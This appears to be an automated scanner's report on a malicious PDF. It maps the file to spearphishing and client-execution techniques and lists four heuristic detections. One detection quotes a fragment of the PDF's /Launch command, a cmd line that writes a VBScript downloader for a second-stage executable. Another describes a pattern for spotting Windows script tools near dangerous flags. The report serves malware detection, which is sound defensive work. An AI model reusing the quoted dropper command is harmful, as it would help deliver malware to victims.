MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF document contains a launch action that executes a command to download a file from 'http://localhost:55879/a.exe' and save it as 'Y7v.vbs'. This indicates an attempt to download and execute a second-stage payload. The command execution and download behavior are indicative of a malicious document, likely delivered via spearphishing.

Heuristics 4

  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • /Launch action target: CMD high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c cD %tEMP% &@echo C9z = "http://localhost:55879/a.exe">>Y7v.vbs &@echo Y4n = S6v("acfKbub"'.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
